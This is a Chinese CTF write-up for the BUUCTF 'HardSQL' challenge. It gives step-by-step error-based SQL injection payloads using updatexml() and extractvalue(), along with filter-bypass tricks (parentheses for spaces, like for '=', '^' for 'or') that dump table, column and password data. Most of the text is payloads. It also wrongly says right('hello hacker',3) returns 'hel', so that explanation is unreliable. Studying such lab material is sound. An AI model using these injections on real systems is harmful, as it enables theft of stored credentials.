题目来源:buuctf [极客大挑战 2-19]HardSQL
目录
一、打开靶机,分析已知信息
页面没有信息,源码也没有信息,只能从头来
二、手工注入解题
step 1:判断注入类型
键入数字、字母都回显以下结果
键入万能密码,回显出
键入:username=1'&password=1
出现报错了,说明是单引号的字符型注入
万能密码注入同样回显,猜测某些字符或者关键字被过滤
step 2:查过滤字符
抓包,用过滤字典爆破得本题过滤关键字为
甚至空格都被过滤了
step 3:()和like绕过过滤
用:username=admin&password=1'(or)
新知识:like是SQL语句中的一个关键字,主要用于在where子句中进行模糊查询,可以根据指定模式匹配文本数据
用()代替空格
用like绕过=号,重新构造万能密码:1'or((1)like(1))#
注:hackbar使用时,#要写作%23
堆叠注入和联合注入因为过滤字符的存在都无法使用,所以用报错注入
step 4:进行注入
1.用updatexml()
(1)得数据库
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23
(2)得表名
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23
(3)得列名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23
(4)得具体数据
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23
由于只有报错注入查询字符串长度最大位为32,所以用right()查询剩余内容
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
得到另一半flag
新知识
1.right(string,length),left()用法相同
如:right('hello hacker',3),则返回hel
2.^可绕过or的限制
2.用extractvalue()
(1)得数据库
1'^extractvalue(1,concat(0x7e,(select(database()))))%23
(2)得表名
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
(3)得列名
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
(4)得具体数据
左边的flag
1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
右边的flag
1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),1000))%23
或者
1'^(extractvalue(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e)))%23
拼接可得flag
三、小结
新知识:
1.可用()代替空格,like代替=
2.报错注入有限制,可用right()函数突破限制,然后进行拼接信息